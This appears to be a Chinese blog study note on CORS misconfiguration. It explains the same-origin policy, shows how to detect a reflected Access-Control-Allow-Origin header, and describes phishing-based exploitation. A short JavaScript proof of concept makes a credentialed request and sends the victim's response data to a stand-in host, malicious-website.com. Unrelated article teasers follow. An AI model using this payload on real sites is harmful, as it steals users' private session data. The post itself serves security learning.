CORS漏洞学习

CORS漏洞属于一个协议漏洞,具体是由于同源策略的设置问题触发的漏洞,漏洞利用条件较为苛刻,但实战中也常见。

首先要了解同源策略

什么是同源策略?

同源策略是一种Web浏览器安全机制,旨在防止网站相互攻击。

同源策略限制一个源上的脚本访问另一源上的数据。源由 URI 方案、域和端口号组成。例如,考虑以下 URL:

http://normal-website.com/example/example.html

这使用了方案http、域normal-website.com和端口号80。下表显示了如果上述 URL 上的内容尝试访问其他源,将如何应用同源策略:

访问的 URL允许访问吗?
http://normal-website.com/example/是:相同的方案、域和端口
http://normal-website.com/example2/是:相同的方案、域和端口
https://normal-website.com/example/否:不同的方案和端口
http://en.normal-website.com/example/否:不同的域
http://www.normal-website.com/example/否:不同的域
http://normal-website.com:8080/example/否:不同端口*

*Internet Explorer 将允许此访问,因为 IE 在应用同源策略时不考虑端口号。

为什么需要同源策略?

当浏览器从一个源向另一个源发送 HTTP 请求时,与另一域相关的任何 cookie(包括身份验证会话 cookie)也会作为请求的一部分发送。这意味着响应将在用户会话内生成,并包含特定于用户的任何相关数据。如果没有同源策略,如果您访问了恶意网站,它就能够读取您来自 GMail 的电子邮件、来自 Facebook 的私人消息等。

可以参考burp靶场What is CORS (cross-origin resource sharing)? Tutorial & Examples | Web Security Academy

CORS漏洞发现

添加origin字段,发现返回包出现Access-Contorl-Allow-Origin字段

漏洞利用,

1.上述触发条件

2.需要一个服务器放置钓鱼页面

3.引诱用户进行点击界面

复现

登录页面

在服务器上放置脚本界面

将上面的vulunerable-website.com换成下面的域名

var req = new XMLHttpRequest();#创建请求对象req.onload = reqListener;req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
#向https://vulnerable-website.com/sensitive-victim-data发送请求req.withCredentials = true;
req.send();function reqListener() {location='//malicious-website.com/log?key='+this.responseText;
#将返回包信息放到//malicious-website.com/log文件中
};

用户访问上面页面之后

返回的敏感信息

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/409764.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网络安全的威胁PPT

建议的PPT免费模板网站:http://www.51pptmoban.com/ppt/ 此PPT模板下载地址:https://file.51pptmoban.com/d/file/2023/03/20/1ae84aa8a9b666d2103f19be20249b38.zip 内容截图:

刷题总结1.17 下午

第五题的平面图,偶图不理解 第三题为什么使用克鲁斯卡尔算法? 旅行商问题(Traveling Salesman Problem,TSP)是一个著名的组合优化问题,描述的是一个旅行商要在给定的一系列城市之间找到最短的路径&#xff…

MySQL下对[库]的操作

目录 创建数据库 创建一个数据库案例: 字符集和校验规则: 默认字符集: 默认校验规则: 查看数据库支持的字符集: 查看数据库支持的字符集校验规则: 校验规则对数据库的影响: 操作数据…

HCIA——10实验:跨路由转发。静态路由、负载均衡、缺省路由、手工汇总、环回接口。空接口与路由黑洞、浮动静态。

学习目标: 跨路由转发、负载均衡、环回接口、手工汇总、缺省路由、空接口与路由黑洞、浮动静态 学习内容: 跨路由转发静态路由、负载均衡、缺省路由、手工汇总。环回接口空接口与路由黑洞、浮动静态 目录 学习目标: 学习内容&#xff1a…

基于Springboot的摄影分享网站系统(有报告)。Javaee项目,springboot项目。

演示视频: 基于Springboot的摄影分享网站系统(有报告)。Javaee项目,springboot项目。 项目介绍: 采用M(model)V(view)C(controller)三层体系结构…

linux基础学习(2):磁盘管理、分区、格式化

1.一些基本概念 一块磁盘从加入到可使用,需要经过3个阶段:分区-格式化-挂载。 1.1分区方式 linux有2种分区方式: (1)mbr:最大支持2.1T硬盘,最多支持4个分区。这4个分区可以全部为主分区&…

【java八股文】之计算机网络系列篇

1、TCP/IP和UDP模型 TCP/IP分层(4层):应用层,传输层,网络层,数据链路层 网络的七层架构 (7层):应用层,表示层,会话层,传输层&#xff…

C++核心编程——文件操作

本专栏记录C学习过程包括C基础以及数据结构和算法,其中第一部分计划时间一个月,主要跟着黑马视频教程,学习路线如下,不定时更新,欢迎关注。 当前章节处于: ---------第1阶段-C基础入门 ---------第2阶段实战…

2个堆叠的条形图+4个折线图,echarts配置

1、代码 <!DOCTYPE html> <html> <head><meta charset"utf-8"><title>第一个 ECharts 实例</title><!-- 引入 echarts.js --><script src"https://cdn.staticfile.org/echarts/4.3.0/echarts.min.js">&l…

C语言天花板——指针(经典题目)

指针我们已经学习的差不多了&#xff0c;今天我来给大家分享几个经典的题目&#xff0c;来让我们相互学习&#x1f3ce;️&#x1f3ce;️&#x1f3ce;️ int main() {int a[4] { 1, 2, 3, 4 };int* ptr1 (int*)(&a 1);int* ptr2 (int*)((int)a 1);printf("%x,%…

linux 内核ARM64启动

基于linux5.15内核翻译理解 Essentially, the boot loader should provide (as a minimum) the following: Setup and initialise the RAMSetup the device treeDecompress the kernel imageCall the kernel image1、安装与初始化物理内存 (必须的) boot loader需要初始化物理…

【Linux实用篇】Linux常用命令(2)

目录 1.3 拷贝移动命令 1.3.1 cp 1.3.2 mv 1.4 打包压缩命令 1.5 文本编辑命令 1.5.1 vi&vim介绍 1.5.2 vim安装 1.5.3 vim使用 1.6 查找命令 1.6.1 find 1.6.2 grep 1.3 拷贝移动命令 1.3.1 cp 作用: 用于复制文件或目录 语法: cp [-r] source dest ​ 说明: …